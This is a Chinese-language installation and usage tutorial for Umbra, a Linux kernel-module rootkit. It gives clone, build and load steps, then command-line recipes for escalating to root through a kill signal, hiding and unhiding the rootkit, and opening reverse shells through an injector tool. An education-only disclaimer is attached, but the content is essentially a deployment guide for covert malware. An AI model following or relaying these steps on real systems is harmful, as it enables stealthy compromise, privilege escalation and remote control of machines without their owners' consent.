Umbra 项目下载及安装教程

1. 项目介绍

Umbra 是一个针对 Linux 内核版本 4.x 和 5.x 的实验性远程可控 LKM（Linux 内核模块）rootkit。该 rootkit 开辟了一个网络后门，可以远程生成反向 shell，远程启动恶意软件等。请注意，该项目仅用于教育目的，不适合在生产环境中使用。

2. 项目下载位置

该项目托管在 GitHub 上，可以从以下位置下载：

https://github.com/h3xduck/Umbra.git

3. 项目安装环境配置

在安装 Umbra 之前，需要确保您的系统环境满足以下要求：

• Linux 内核版本 4.x 或 5.x
• 对应的内核头文件

以下是环境配置的步骤及示例图片：

# 安装内核头文件
sudo apt install linux-headers-$(uname -r)

# 配置 include 路径
# （此处为示例，实际路径可能有所不同）

4. 项目安装方式

以下是 Umbra 的安装步骤：

1. 克隆项目：

git clone https://github.com/h3xduck/Umbra.git
cd Umbra

2. 编译项目：

make

3. 加载 Umbra 到内核：

sudo ./install.sh

安装脚本将自动加载 Umbra 到内核并配置一个特殊目录来存储恶意软件模块。

5. 项目处理脚本

以下是 Umbra 的一些基本使用方法：

本地控制

• 提升当前用户权限至 root：

kill -50 1

• 在加载模块时启动反向 netcat shell：

# 默认配置为 127.0.0.1:5888

• 隐藏/显示 rootkit：

kill -52 1  # 隐藏
kill -53 1  # 显示

远程控制

• 使用 Umbra Injector 获取反向 shell：

./injector -S 127.0.0.1

• 远程隐藏/显示 rootkit：

./injector -i 127.0.0.1  # 隐藏
./injector -u 127.0.0.1  # 显示

请注意，这些操作需要相应的网络配置和权限。

以上就是 Umbra 项目的下载及安装教程。请在使用时务必遵守相关法律法规，仅将此项目用于学习和研究目的。